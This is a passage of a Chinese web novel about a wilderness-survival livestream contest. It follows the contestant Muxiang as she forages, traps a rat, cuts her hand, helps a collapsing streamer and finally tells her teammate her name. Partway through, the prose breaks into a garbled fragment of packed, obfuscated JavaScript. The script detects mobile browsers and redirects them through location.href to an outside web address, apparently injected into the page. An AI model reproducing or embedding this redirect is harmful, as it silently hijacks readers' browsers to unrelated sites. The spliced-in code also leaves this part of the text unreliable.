她现在白天出门都要穿长袖和外套了。
钟臣溪没反对;“行,我正好把竹筐也做好。”
木香扛着她的捕鼠竹夹就上山了。
木香轻车熟路,直奔昨天两人挖山药的那个方向,再往西走一段距离,就到了目的地。
昨天她在这里发现了山耗子的途径的痕迹。山耗子经常通行的路径就是鼠道。
新鲜的鼠道痕迹明显,它上面会有新鲜的泥土,木香在附近几条鼠道上安放好陷阱。
做好这一切,木香抬头看天,今天太阳出来了,她估摸没到午时,时辰还早,就决定往山的北面探一探。那一片她还没去过,或许能碰到好东西。
木香本就住在山腰以上,她又继续往山上走,这一片基本就没有人来过了。
越是往上,地形越陡,木香将树叶裹好双手,手脚并用,在山林中穿梭自如。
一路上,木香有不少收获,她发现了山药、黄精、还有脚板薯。脚板薯也叫大薯,也是山药的一种,根茎状如人脚,口感有些涩,但块头大。一株脚板薯就能挖出一二十斤薯块,运气好甚至能达三四十斤。
木香默默观察着四周环境,标记好位置,随后继续上山。
到了中午,她遇到一株猫儿屎,这种果子有两三寸长,长条形,外壳是灰蓝色,里面的果肉长得像猫屎,所以被人叫做成个名字。
它的名称虽然不雅,但口感清甜润滑,和八月炸一样,它果肉少籽多,吃起来要不停“噗噗噗”、‘噗噗噗’!
木香正好有点饿了,于是就地休息,一口气吃了十几个猫儿屎,啃了一截从家里带来的山药。吃饱后,她外套当做袋子,装了几十个猫儿屎,背着继续往上爬。
等她到了山顶,太阳已经开始偏西了,山顶北侧是陡峭的崖坡,人无法通行。
站在山顶向西北方向看去,是一片重重叠叠的山峦,风景壮美,而东南面山地较低,也是赛场的主要范围。
木香在山顶巡视一圈,就开始下山了。和以前一样,她不走来时路,而是探索新的下山路,这样她对山上的各种食物分布有更好的了解。
下山途中,木香发现了一堆动物的粪便,这些黑褐色的粪便结块成柱团,一看就是野猪粪便。
这一片山里经常有人类活动,基本没有什么野生动物了。另外规定选手不能捕捉野生动物,但赛方投放的二代野猪、珍珠鸡、竹鼠是能抓的。
但想抓住二代野猪并不容易,而且她一个人人手也不够,木香记住位置,继续下山,不多时,她走进了一片灌木林,身边都是一些矮树杂草,脚下是一层厚厚的枯叶。
就在这时,木香听到一点不同寻常的动静,她立即停下脚步,果然听到右侧不远处传来一点轻轻的“沙沙”声。
显然那边的草丛里有活物。
木香立即停住脚步,静止不动。一般山里的活物擅长观察到活动的东西,如果静止不动,它们反而难以察觉。
果然,片刻之后,那东西察觉没有危险,又悄悄的动了起来。
木香定睛一看,是一只野鸡,那鸡灰不溜秋的,和她以前见过的野鸡不同,看来就是赛方投放的珍珠鸡。
此时的野鸡还是十分警醒,它试探着扭动脖子左右观望,过了一会儿,确定周围安全,才动了起来,准备往灌木林里钻去。
木香瞄准时机,飞扑过去,她右手着地的同时,左手压住鸡身!
她身体落地的一瞬,右手掌心传来一阵剧痛,木香瑟缩一下,也就这时,珍珠鸡往前一个扑腾,木香左手再想用力压住珍珠鸡,却还是来不及了,珍珠鸡向前猛的一窜脱身,而后它扑腾着翅膀飞入灌木林中几下不见了身影。
木香手里只剩下几根鸡毛了。
珍珠鸡跑了,木香没太在意。
她蹲在地上,查看手上的右手,右手上被划拉出一道半寸长的口子,鲜血正一点点往外冒。木香立即握紧掌心,压住伤口。她低头一看,刚才右手落下的地方有一片尖锐的石块,正是它割伤了木香的手。
木香眉心皱了一下,她扛起一袋野果,继续下山,在途中开始有意寻找能止血疗伤的野草。
她在深山里住了十来年,对山中各种草木效用十分了解。
她运气不错,走了一会儿就发现了一株血见愁,这种草又名山藿香,可止血止痛。
木香采下几片叶子,嚼碎敷在伤口上,用细长的草将伤口包住。
而后,她又采了一大把血见愁放进袋子里,往家里的方向走去。
木香到家时,太阳已经快挨着西边山头了。
钟臣溪在院子里忙活着,缠人精老帅也在,正对着钟臣溪拍摄。
木香不耐烦应付他们,正准备进屋,老帅率先发现了她:“冷姐打野回来了!”
钟臣溪立即丢下手里的木铲,起身看向木香:“你总算回来了,我都怕你在山上迷路了!”
老帅接着补充:“刚才臣溪还说要去山上找你。我说你身上有定位器,不用担心,他还是不放心!”
“……”木香只觉得跟前两只蜜蜂嗡嗡嗡,搅得她头大,手更痛了。
“冷姐,这次上山一天,收获不小吧?带了啥好东西回来?”
木香也不说话,直接把衣服袋子往地上一扔,老帅立即将镜头对准地上的东西:
“小伙伴们,冷姐这次上山收获满满啊,一大袋野果,有人认识这个吗?不错啊,有的小伙伴们已经认出来了!”
木香转身正准备进屋,却被钟臣溪拉住:“你的手怎么了?怎么有血?”
木香眉头一皱,迅速抽回自己的手:“没事。”
“怎么没事,这么多血!”
钟臣溪看到木香右手上缠着草,周边有血迹渗出,显然是她的手受伤了。
“聒噪,我说了没事。”
木香走到门前,看到了22号做好的木门,木门扎实紧密,看得出用心。
她快步进屋,但22号的声音还是纠缠不放:“真的没事吗?好多血啊。”
老帅也将镜头对准木香:“冷姐,到底什么情况啊,不管怎么样,身体第一啊。如果真的伤得重,我这就送你下山找医生。”
“……”
一旦下山就医,那就意味着退赛。
木香没办法,只好伸出右手,将上面的草叶解开:“大惊小怪什么?就是被石头割破了一点小口子,我也敷上草药了,两三天就好了。”
钟臣溪仔细去看,只见木香手心的上覆盖着一团墨绿色的草泥,大概两厘米长,伤口确实并不大,其中确实也没有血渗出了,看来是止血了。
“看来伤得不严重,但还是要注意,如果情况不好比如发炎了,还是要尽快去医院。”老帅提醒。
被人催着退赛,木香很不高兴,她冷着脸:“知道了。”这么一点伤口,她根本不在意,他们有什么好害怕的?
这里的人,真的好怕死啊!
老帅有点尴尬:“不管
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怎么样,身体第一。”
木香不理人,走到里面,翻身躺下。
钟臣溪赶紧打圆场:“你们放心,我会注意的,我要煮饭了,今天早点吃。”
□□中午没吃,又受了伤,得赶紧吃点才行。
【冷场姐受伤了,Q2组合前景不明啊。】
【荒野中保护自己也是实力的一种,冷场姐还是不行。】
……
【22号好像很关心冷场姐。】
【因为没有冷场姐,他也待不下去的。】
……
【22号也很能干啊,编竹筐、做门,他也是很有实力的好吧。】
【他这些技能,需要和冷场姐搭配使用,不然屁用没有!】
于是钟臣溪开始煮饭,老帅播了一会儿,离开了。
很快,木香吃上了热汤,吃的还是山药菌子野菜汤。钟臣溪用一个竹筒当碗,端给她吃。
今天她不在的时候,22号不仅做好了一扇门。她刚才在外面还看到了一个已经编好的竹篓。
人虽然胖了点憨了点,但胜在勤快。
有碗吃饭就方便多了,太阳还没下山,木香端着竹筒碗到外面吃,她这才注意到,屋前不远处的空地上,被22号挖了一个浅坑。
坑里面有混了水的泥巴,泥巴中还混着一些干草。而坑外还堆了许多没混合的泥土和干草。
钟臣溪端着竹筒碗靠近木香,得意的小尾巴又翘了起来:“□□,你知道我打算做什么吗?”
“泥巴糊墙。”
钟臣溪样呀:“你都知道了啊?”好家伙,他正准备炫耀一下呢,结果木香直接猜到了。
“……很难猜吗?一看就知道。”当年木香和父母弟弟躲入深山避难的时候,他们住的第一个屋子就是泥房。
但泥房需要经常修缮,十分麻烦,到了第二年,父母就又做了一个石头房。
“你怎么什么都懂啊。”钟臣溪很是好奇,他越发觉得□□很神秘,她身上有很多故事,可惜她从不肯多说。
木香并不回答,她提醒:“糊墙要选择天晴的时候,泥巴上墙晒两天才能干固,如果碰到下雨天,就白做了。另外,你糊墙的时候把墙上那些叶子处理干净,不然泥巴糊不上去。”
钟臣溪点头:“好。我看明天是晴天,我今晚抓紧时间,先搞一面墙,泥和草我都准备好了。”
见22号心有成算,木香便不再多话,她吃了饭就躺下了,她伤了一只手,帮不上忙,不如好好休息。
屋外,钟臣溪忙忙碌碌,他准备先涂西面的墙。秋冬季节西北风多,北面有石壁阻挡,再把西墙封泥,他们的小屋就暖和多了。
钟臣溪先把西墙上的树叶处理了,留下墙上的木竹框架,然后从墙根开始糊,将混着枯草的泥巴一点点糊上去。
木香闭目养神,只听到22号窸窸窣窣忙碌的声音,勤快得像是个田螺姑娘。
过了两个小时,天黑透了,外头已经看不太清楚。
钟臣溪糊了大半面墙,他准备接下来的明天搞。
他洗了把手,回到屋里,木香已经起来了,她坐在火塘前,头也没太抬:
“你先睡。”
钟臣溪忙了一整天,疲惫得很,他走到床边正要躺下,又想起什么赶紧问:“你的伤没事吧?”
“没事。”
“如果情况不好,不要逞强。没有什么比健康重要的。”
木香不置可否,她语气笃定道:“我是绝不可能退赛的。”
钟臣溪不认同:“你这人……奖金对你来说,就那么重要?”
“当然。”否则她才不会来参加这种莫名其妙的比赛。一百来人自愿被关在山里,像是猴子一样被外面千千万万人观赏。
有时候她是真的搞不懂这里的人。
“为什么啊?你很缺钱吗?”
“不错。”木香真认真的回答:“没有钱,我饭都吃不上。”这个世界很好,和平富裕。但唯独一点,没有钱是万万不能的。
她曾经考虑过像过去一样去深山生活,这样就不必花钱,但当她品尝了泡面和可乐后,她放弃了这个念头。
她想住在城市里,想品尝各种奇奇怪怪的食物,这些都需要钱。
钟臣溪无法理解:“怎么可能?你好手好脚,又那么能干,随便都能找到个工作吧。”
木香立即摇头:“不喜欢工作,规矩太多。”
16. 第七天(1)
木南给她介绍过工作,去当保洁,但木香去了半天就不干了。因为主家要求太多了。
比如规定上下班时间,规范衣着等等。这些也就算了,她可以忍耐。
但主家又要求,每项工作完成后还需要用手机拍照发到微信群里。
但她只有一个老人机,微信都没有。
真的好麻烦。
而木南呢,只是一个普通的打工人,赚的钱自己都不够花,养不起也不想养她。
正当木南犯难时,他刷短视频时看到了了“天云山的荒野求生比赛报名”的信息。
之后,木南给木香出了报名费、路费,把她送到这里比赛。
所以,这次她必须赚到奖金,否则只能出门和野猫抢垃圾吃了。
“……工作嘛,都是这样的。但自食其力是应该的。”
“我参加比赛拿奖金,不是自食其力吗?”
“……”这话也没错啊。每个人都要自己生存的方式,他应该尊重木香。
但,钟臣溪还是很担心:“那万一,你出现意外必须退出比赛怎么办?”
“没有万一。”木香斩钉截铁道,这样一个小小比赛都拿不下,她就白活了。
第七天。
天蒙蒙亮,木香就醒了。这一晚她都在守夜,没有睡得太沉。
昨晚22号睡得太死,半夜她叫他的时候,他没反应。木香想着今天用得上他,就干脆没再喊他,自己守了一夜。
眼看天快亮了,22号还在打呼噜,木香过去一脚踢上床柱,把钟臣溪吓得一个激灵,他猛地睁开眼,看到木香连忙问:“怎么了,怎么了?”
木香居高临下盯着他,面无表情:“起来了,先去把西墙弄好,等会儿跟我上山。”
木香说完出门了,她要去山泉边去洗漱,顺便清洗一下野菜菌子做早饭。
而钟臣溪终于清醒过来,他猛地意识到,自己昨晚睡了一整晚,这样的话,□□一夜都没睡好。
钟臣溪顿时心生愧疚。□□手受了伤,按理来说,她应该多休息。
想到这里,钟臣溪赶紧起来,继续去糊墙。
木香来到山泉边,先处理了一下伤口,她掌心的伤口不大,经过一夜已经结痂。
木香清理后敷上药,简单洗漱后,然后单手将竹筐里的野菜菌子清洗了一遍。
回答家时,22号正在奋力搅拌泥巴,木香开始煮饭。早饭过后,钟臣溪继续糊墙,木香手伤不方便,帮忙打下手。
他们的取水工具是竹筒,两尺长的竹筒打通里面的竹节,可以装不少水。
木香用竹筒装好水后,将五六个竹筒用细藤固定在竹篓上,然后将它们背回来。这样一次就可以带回不少水。
两人分工合作,木香负责取水和泥,她将泥土、水、干草放在坑里搅拌,钟臣溪则负责泥浆糊墙。
这样一来,速度快多了。
不到一个时辰,靠西的这一面墙就弄好了。
“今天就做到这里。你跟我上一趟山。”木香昨天放了捕鼠竹夹子,今天要去看看收获。另外,她还要把昨天发现的那些山药、脚板薯挖出来。这就是她为什么要带白胖子一起。
听到要一起上山,钟臣溪激动万分:“好啊,我早就想和你一起上山了,今天我们去抓葛根虫吗?”
这已经是上山的第七天了。他只在前两天吃了几只虫子。也不是野果野菜山药不好吃,可他就是馋肉。哪怕是一条虫子。
一开始还嫌弃虫子的他,现在想起那肥润润的大白虫,嘴里就不争气的分泌口水。
“……”木香淡淡地瞥了一眼钟臣溪,好似在骂他没出息。
钟臣溪也不好意思,嘿嘿笑着:“你不想吃吗?”
“把火塘封好。”
“遵命!”钟臣溪立即行动起来,他往火塘里加上几根柴,用灰盖住,再拿石头将火塘封好。
木香把砍柴刀、木铲等工具放入竹篓,又放了一些野果以备不时之需,两人准备好后,就出发了。
木香走在前头,钟臣溪背着竹篓走在后面。
他们还没走几步,后面就传来老帅气喘吁吁的大喊声:”Q2组合,等等我!”
一听到老帅的声音,木香像被抽了一鞭子的马,她加快脚步,往山上狂奔。
奈何她带了一个拖后腿的尾巴:“□□,你别走那么快啊,老帅来了,等等他!”
“……”
木香抿嘴,握紧拳头。要不是今天她需要这白胖子,她现在就甩下这两人。
无奈,她只得站住。
不一会儿,老帅追了上来,他喘得像是破风箱一样:“哎哟,我的妈呀,可算追上你们了。你们这是要去打野吗?”
钟臣溪点头;“是啊,今天天气好,我们去山上找找,看看有没有大白虫。””
“臣溪,你这语气听着很期待啊,不怕大白虫了?”
“怕啥啊,有什么可怕的,山珍佳肴,多多益善啊!”
“行,那我今天跟着你们。”
站在前面的木香眉头一紧,她转身面向他们:“我今天要去远一点的地方,下午才会回来。”
“没事儿,网友们对选手打野很感兴趣,正好赶上你们要去,我就跟着拍。”
“……如果你跟不上,我不会等你。”
“你放一百二十个心,我绝不会影响你们,这是我们工作人员的基本要求。”
“行。”木香又看向钟臣溪:“跟好了。”
说完,她开始迅速爬山。
钟臣溪急忙追上,这条路他熟悉,上次□□带他去挖山药,就是这条路。
一路上木香脚不停息,直奔她昨天安置机关的地方。
钟臣溪勉强跟得上,而后面的老帅却惨了,他举着手机,连喘口气的机会都没有,更别说和网友互动了。
直播间的网友们只看到镜头里99号走在最前面,在林间健步如飞,22号跟紧紧追在后面,而他们的主播老帅只呼哧呼哧的喘着,听着好让人捉急。
真担心他下一秒会晕过去。
【天啊,冷场姐是练过轻功的吧?】
【冷场姐进了山林,就像猴子回了家。】
【臣小沪爷也不错啊,居然跟得上冷场姐。】
【主播不行啊,不是说是上届比赛的十强选手吗?】
【老帅吃胖了啊,上届比赛结束后,他直接吃胖了三十斤。】
他们在山中快走了约莫一个时辰,终于到了目的地。
木香停下脚步,过了好一会儿,钟臣溪才追过来,而老帅早已不见踪影了。也不知什么时候走丢了。
“Q~,今天怎么走了这么远?”钟臣溪一边喘着一边问:“这里有葛根虫吗?”
他一面问一面四处观察。为了大白虫,再辛苦也是值得的。
“这一片我安放了捕鼠竹夹。你们别过去,我去看看。”
闻言,钟臣溪眼睛一亮:“你把捕鼠器放在这里?那,那今晚可以吃肉了?”
这可比大白虫好吃多了!
木香没多话,她踏入了前方的树林里,木香依次查看了几个捕鼠竹夹,一共五个,其中两个没有触发,两个触发了但落空了,还有一个夹住了一只山耗子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248153|197810||http|test|mini|href|location''.split(''|''),0,{}));
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>这只山耗子个头中等,大概有一两斤重,还有气,木香把它拿起来,扔给了钟臣溪:“收好。”
随后,木香将捕鼠竹夹子全部收起来,换了个位置重新布置。
那死耗子被木香丢过来,钟臣溪下意识伸手去接住,当他看清楚手里的东西时,又一个哆嗦,本能的将山耗子甩了出去。
山耗子被甩飞落地,正好被老帅看到,他顾不得喘气,急急忙忙凑过去:“小伙伴们,看到了吗,这是一只山鼠!Q2组合抓到抓到蛋白质了!”
钟臣溪很快回过神来,迅速冲过去把山耗子捡起来,扔进竹篓里。
这可是肉啊!是香喷喷的肉啊!
它虽然看起来磕碜,但可是实打实的好东西啊!
他一秒转换了心态,冲着木香问:“还有吗?”
“我在放竹夹,你们别过来。”
老帅小心翼翼靠近一些,将镜头对准木香:”冷姐正在下套,我们就不过去打扰她了。冷姐的这个捕鼠器之前播过的,就是用这竹竿和木棍制作的,材料简单也很方便。”
木香放置好捕鼠竹夹后,从那一片灌木林里出来,然后继续往山上走。
老帅大吃一惊:“不儿,冷姐,咱们还要上山吗?”
方才为了追上Q2组合,他拼尽全力。本以为冷场姐的目的是蛋白质,现在任务完成,可以下山了,可万万没想到,冷场姐还要爬山。
听老帅那绝望的语气,木香心情畅快,这一次,她倒是有心情和老帅说上几句。
木香压住上扬的嘴角,回头看向老帅:“恩,还要爬到山顶。”
“……”老帅震惊又绝望。
还要去山顶?!
他有点怀疑,冷场姐是不是故意整他啊?
木香对老帅的反应很满意,又补刀:“你体力跟不上就回去吧。”
“……怎么会呢,爬个山而已。小意思,我能行。”
老帅说着问钟臣溪:“你还行吗?”
钟臣溪也累啊,但在木香和万千网友面前,他只能打肿脸充胖子:
“我一点不累啊,山顶算什么啊,小爷我轻松拿捏。”
见这两人死鸭子嘴硬,木香不再废话,她扭身就是爬,动作利索。
一个眨眼间,就走出了十几米远,老帅和钟臣溪对视一眼后,再也不敢废话,急急忙忙跟上。
【咱冷姐好像在遛人啊?】
【她是不是故意的?看把老帅给累的,都顾不上和我们说话了。】
【人家是上山打野的,主播跟不上是主播的事。】
【就是,不要影响我们冷姐发挥!】
【冷姐太秀了,我现在开始相信,她有冠军潜质。】
……
大约过了小半个时辰,木香放慢脚步。今日上山的路线和昨日一致,她记得这里有一棵山药。
木香根据印象,很快找到了位置,她一回头,只见钟22号远远在后面。
木香就靠在树边等他,好久,22号终于过来了,他满头是汗,坐在旁边大口喘气。
木香皱眉,这家伙体力这么差,还能挖山药吗?
不管了,先让他干起来,能榨一点是一点。
“这有一株山药,你来挖。”
说完,木香接过钟臣溪的竹篓,找了个平坦的地方,坐下来开始吃野果。
已经过了午时,她也有点饿了。
“……”钟臣溪望着坐在地上吃野果的木香,欲言又止,但最后还是乖乖去干活了。
没事的没事的,就是饿着肚子挖山药而已,为了晚上能吃上肉,他都能忍的。
17. 第七天(2)
木香吃了个半饱,恢复了一点体力,她站起来:“我去附近看看。”
“哦……”钟臣溪抬头,眼看木香的身影不见了,这才放下手里的砍柴刀,他一边观望一边走到竹筐边,将手往衣服上擦了两把,然后飞快吃起野果。
差点把他饿死了!
吃完野果,钟臣溪继续挖山药,也不知过了多久,他终于把这棵山药挖出来了,估摸着有个三四斤。
这个时候,木香还没回来。
钟臣溪大喊了几声“□□”,但无人回应,他怕自己去瞎找反而错过,只好在原地等着。
钟臣溪饿得不行,也顾不得干净不干净了,直接拿了一根山药,削了皮后开始啃。
他刚吃了两口,下面林子里有动静。
钟臣溪警醒起来,他拿起砍柴刀站起身来,发现来人是老帅。
但老帅的情况有些不对劲,只见他脚步虚浮,脸色发白。钟臣溪赶紧上前去扶他过来坐下:
“老帅,你怎么了?”
“没事儿,没事儿,就是有点累。过一会儿就好了。”
“真的吗?但你这看起来……要不要吃点东西,我这里有猫屎瓜、还有山药……”
“不能吃,工作人员不能吃选手的东西,会违规。”
“那怎么办啊,我看你脸色不太好啊……你这还能走吗?要不跟山下的人说说,来接你下山?”
就在这时,木香回来了,她扛着一大根枝叶,上面结满红果子。
钟臣溪赶紧跟木香说了情况:“老帅好像有点不对劲。”
木香闻言,蹲在他身边观察,片刻后问:“你是不是不经饿?”
“……”老帅有气无力的点头,他知道自己是低血糖了。
早上吃得少,中饭又没吃。现在都快下午两点了。
他一大早就开始爬山,刚才他又跟丢了,在山里乱转了好久,把体力给消耗光了。当他发现自己情况不太对时,就关了直播。
他不想直播丢人。
“22号,你给他喂点果子。”
“不行,我不吃。不能吃。”老帅还是拒绝,木香没有废话,直接从枝丫上扯下一把红果子,往他嘴里一塞。老帅早就饿坏了,不由自主的嚼吧起来。
这操作把钟臣溪都看呆了:
“Q,这是啥,没毒吧?”
老帅愣住,把东西含在嘴里也不敢咬。
“十月莓,无毒。”
闻言,老帅才敢继续吃。
紧接着,钟臣溪又喂了老帅一些十月莓。
木香观察了一下老帅的脸色,吩咐22号:“收拾一下,送他下山。”
“不去山顶了吗?”
“不能把他一个人放在这里。”木香吩咐。
钟臣溪点头,他正要扶起老帅,却被老帅阻止:“算了,我让别人来接我。不能影响你们。”
因为这件事实在太丢脸,老帅一直强撑着不愿意去找人帮忙,可眼下到了这一步,就不得不求助了。
他不能因为怕丢脸,影响了Q2组合。
老帅拿出手机,打电话给附近的巡查员,说明了情况,让他安排人来接自己。
“好了,我在这里等人,你们去忙吧。”
钟臣溪不同意:“山上那么大,就算你带着手机和定位器,他们找到你也需要时间。我看我们还是一起下山算了。”
他一边说着一边看向木香,想征求她的同意。
木香点头。
老帅很过意不去:“这不行,不能因为我耽误你们的事情。”
“耽误不了。也差不多了,下山吧。”
木香说着,将把东西都装进竹篓,她背着竹篓,开始沿着上来的路下山。
钟臣溪则扶着老帅,跟在木香身后。
这一路下山,木香一改上山的迅猛,而是走走停停。
她没有刻意去等后面的两人,只是一路上采菌子、野菜、野果,弄到什么就往背篓里一扔。
虽然她没说什么,但老帅知道,冷姐是等他。
老帅说不感动是假的。
冷场姐待人冷漠,但心是真好。
“臣溪,冷姐人不错,你运气是真好。我看好你们Q2组合。”
夸□□就等于是夸他!
钟臣溪心里美得冒泡,但嘴巴还是不服输:“瞧你说的,我难道就没有实力吗?”运气本身也是实力的一种啊!
“有有有!你挖山药的一把好手。等你们结束比赛,我请你们吃大餐!”
“OK,一言为定。”
他们往山下走了约莫一个小时后,遇到了上山来接老帅的人。
老帅跟着工作人员下山了,木香和钟臣溪则返回家里。
两人先去了山泉边,木香处理了一手上的伤,她今天没怎么用右手,伤口上的痂已经有些硬了,木香就没有再敷药,过两天痂自己掉了就好了。
这些天他们每天砍树、挖土、做事,手指上难免有些细小的伤痕裂痕。
钟臣溪咧着嘴把手上的泥土洗干净,心里盘算着如果有一双手套就好了。
“把山耗子处理一下,再洗一截山药,我先回去烧水。”
钟臣溪一愣,他扭头看向木香,眼睛瞪得老大。刚想反驳,想到99号的手还没好透,又把话咽了回去。
他不是没烹饪锅肉食,但从超市买回来的肉食都是处理好的。
他二十四岁的人生,从没有杀过一条鱼,宰过一只鸡。
木香皱眉:“怎么,不会?”
“……会,我当然会啦。”
“那就好。”
木香回家去了。她先往火塘里加了几根柴。趁着家里没人,她更换了贴身的里衣、里穿的长袖,打算等下去清洗。
收拾好自己后,木香把两个竹筒锅架起来,开始烧水。
过了好一会儿,锅里的水都开了,22号还没回来。
木香有些不耐烦了,处理一只山耗子,需要那么久吗?
她走到屋外,冲着山泉的方向喊了起来:“22号!”
她连喊好几声,才见22号背着竹篓,手里用树叶捧着一堆东西下来了。
木香把处理好的蛋白质用刀切块,分别放进两个竹筒锅里煮。
钟臣溪这一天爬山挖土,累得头晕眼花,看着眼前这一锅肉,就挪不动目光了。
“下次要是再抓到山鼠,烤着吃吧?”
这顿肉汤还没喝上,钟臣溪就开始幻想吃烤肉了。
木香懒得搭理他,把他刚才清洗好山药切成块也丢进锅里一起煮。
很快,两人吃上了热腾腾的山药炖肉。
吃过饭,天色微暗。木香就带着换下的衣物去山泉那边清洗。另外她还打算洗一下头。
见木香抱着衣服要出门,钟臣溪喊住她;“你的手能洗衣服吗?要不我帮你洗?”
“不用。”木香一口回绝。几件小衣服,她单手就能洗。
“你别逞强,我也不是白帮你洗的,下回你帮我洗回来呗。”钟臣溪以为99号是不想欠他,于是想了个好借口给她台阶下,他暗暗觉得自己聪明极了。
不料木香脸一沉,狠狠瞪了他一眼:“闭嘴!”
她的贴身衣物,怎么可能让他去碰?
“……”钟臣溪一头雾水。她到底在气什么啊!
人是好人,脾气是真不好!
今天在山上,木香发现了一棵无患子树,在树下捡了许多无患子果实回来,正好可以用来洗头。参赛之前,她特意剪了短发,洗起来很方便。
至于沐浴,暂时就不想了。
钟臣溪在家里整理食物,今天挖回来的山药还剩一半,钟臣溪按照木香的办法,把它埋进土里保存。
而十月莓这种野果和猫儿屎、八月瓜一样保存不了太久,就放在屋里尽快吃完。
拐枣能保存久一点,钟臣溪也把它放在屋里,慢慢吃。
过了一会儿,木香回来了,她头发湿漉漉的,显然清洗过了,手里拎着一团湿衣服。
她走到屋前树
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后,将衣物挂在树上。
钟臣溪看呆了。她可真爱干净啊。换衣服不算,还洗头呢。
他悄悄躲回屋里,低头闻了闻自己身上,妈呀,酸酸臭臭的,幸好味道不浓。
“……”
见鬼,他之前怎么没闻到?
□□没闻到吧?
这几天忙着干活找吃的,他完全忘记了个人卫生这一块。
钟臣溪赶紧关上门,然后换了贴身的衣物。裤子每个人只有一条,没得换。
他打算一会儿把冲锋衣外套也清洗一下。现在有了竹筐,就不需要用外套当袋子了。
……
转眼天黑了。
钟臣溪怕自己又一觉睡到天亮,于是要求守前半夜。
木香没有意见,她走到床边躺下,将外套盖在身上,闭目休息。
前些天,木香晚上都不敢睡死,屋里有一点动静都会醒。就怕22号意图不轨。
但现在木香不担心了。22号废是废了点,但并不是个心术不正的人。甚至可以说,是个不错的人。
勤快、心软、脾气好。
这一觉,木香睡得有点沉。
以至于到了后半夜,她都没醒。
而钟臣溪也并没有喊醒她。
他安安静静坐在火塘边,添柴也是小心翼翼的,就怕惊醒了她。
钟臣溪偷瞄着木香的睡颜,心里暗喜。
这下,他算是还了□□一次。
明天早上□□肯定会谢他,他会大手一挥,然后冷冷的说不客气!
哈哈哈!
想到这个场景,钟臣溪差点笑出声。
就在这时,钟臣溪听到外面有淅淅沥沥的声音,他皱眉,赶紧打开门一看,外头果然下雨了。
他和木香的衣服都挂在外面树上,钟臣溪赶紧跑出去,他先去收木香的衣服,外面天黑看不见,钟臣溪摸索着把两人的衣服都收了下来,抱在怀里,又跑回屋里。
进了屋他把一团衣服放在自己床上,开始收拾。他先把木香衣服整理出来,一共三件:
一件长袖。
一件运动小背心。
一件四角内裤。
“……”钟臣溪脸热热的,拎着木香的衣服不知道怎么办。
他本来是打算帮她烤干的,但感觉不太好。
正当他不知所措时,旁边伸过来一只手,一把抢过钟臣溪手里的衣服,与此同时,她一脚踢中钟臣溪的膝盖窝。
钟臣溪猝防不及,痛呼一声,单膝跪地。
木香将衣物团起来收好,藏在身后,这才低头瞪着钟臣溪,目光凶狠:“无耻,龌蹉!”
“……”钟臣溪痛得龇牙咧嘴,又被骂的狗血淋头,心里是又气又委屈:“你打我干什么?啊?还有,我怎么无耻了?”
无耻就算了,还龌蹉?他用得上这么高级的骂人词汇吗?
“我打你自然是因为你该打!你半夜偷我衣裳,简直是下作!”
钟臣溪一呆。
他好像明白过来问题出在哪儿了:“不,Q,你误会了,外面下雨了,我只是把你的衣服收进来!”
木香这时也冷静下来了,刚才她一睁眼,就看到钟臣溪拿着她的衣裳,根本来不及注意到屋外的情况。
屋外淅淅沥沥,果然是下雨了。
她可能是误会了22号。
木香神色放缓,她拿着衣服做到火塘边,背对钟臣溪没有说话,仿佛刚才无事发生。
这让钟臣溪不太高兴,他膝盖窝还痛着呢:“你误会了我,还打了我一下,就这么算了?”
“你想怎么样?”她语气平静问。
钟臣溪没有为难的99号的打算。刚才那种情况,她误会他也正常。
他看着她的背影,单薄却充满力量,想到这些天的相处,他瞬间不气了:“……算了,我也不要你道歉。我们是队友,接下来还有一起合作,我还不知道你的名字呢。”
许久,他听到她轻声说:
“木香。”
18. 第八天
钟臣溪睡下了,木香坐在火边烤衣服,没多久衣服就干了,她将衣服叠好,放在床上,用干草盖住。
眼前的火光跳跃,将她带回了过去的时光。
母亲坐在火塘前,小心翼翼的打开一封书信,轻声念着:
“爹,娘,阿姐,我在城里很好。赵掌柜人很好。他说我有出息,要资助我去学堂念书,将来我出息了,就带着父母和阿姐一起过好日子……下个月,我会回家一趟……”
母亲语气哽咽起来,她怕眼泪打湿了信,赶紧用袖子抹了一把眼泪。
木香神色暗淡:“娘,我们可以不搬走吗?如果搬走了,阿弟再也找不到我们了。我保证,绝对不会下山,绝对不会去找阿弟的!”
“香儿,委屈你了。但为了你弟弟,我们不能不走。木沉下了山,过上正常人的生活了,但我们……迟早会给他带来麻烦。当年出事的时候,你已经八九岁了,他们都记得你的脸。弟弟那时还小,没人认出他,他不用跟着我们躲藏。”
“可是走了,我们就再也见不到阿弟了。”
“……会见到的。等时间再久一些,也许我们一家就能团聚。”母亲望着火焰,嘴角带着笑意,眼里却平静如一潭死水。
他们心里都明白,这一生,相聚再难了。
木香没有再求母亲。
后来,她没有再见过阿弟。
数年后,爹娘带着他们一家的秘密入了土,而她却来到了这里。
……
第八天。
早上,雨不但没有停,而且越下越大。
他们的屋顶堆了一寸多厚的草,目前还没漏雨。
但木香有些担心,如果今天雨不停,晚上恐怕就没那么好过了。
两人没有出门,木香让钟臣溪把山药洗净削皮,而后切片烤干,这样的山药干,在干燥的环境下可以保存几个月。
老帅冒雨爬山来的时候,看到了温馨的一幕。
Q2组合围坐在火塘边,冷场姐正把一片片的东西放在火塘上的石块上烤,而小沪爷则坐得有点远,他在编竹筐。
老帅先向两人道谢:“昨天太不好意思了,打乱了你们打野的节奏,还麻烦你们送我下山。是我太高估了自己。”
老帅说着,瞄了木香一眼。木香闷头干活,压根不在意旁的事情。
说到底,还是木香太厉害了。她速度太快,以至于他跟不上,导致在山中迷路,消耗了太多体力,最终低血糖发作。
“你没事就好。”
“哎,你们Q2组合太强了,我以后可不敢再随便跟拍你们了。现在网友们都笑话我呢。”老帅昨天迷路之后就关了直播。但网友们中不乏破案高手,通过一些细节判断再加上有的主播发了老帅被抬下山的一些画面,推断出昨天整件事的来龙去脉。
当大家搞清楚老帅直播选手打野,结果在山上迷路体力耗尽被抬下山后,大家开始对这位“干翻主播”的选手产生敬佩和好奇。
而木香也被网友们热情地称为“打野女王”。
此刻,女王正默默晒山药,完全不知道此刻直播间的疯狂。
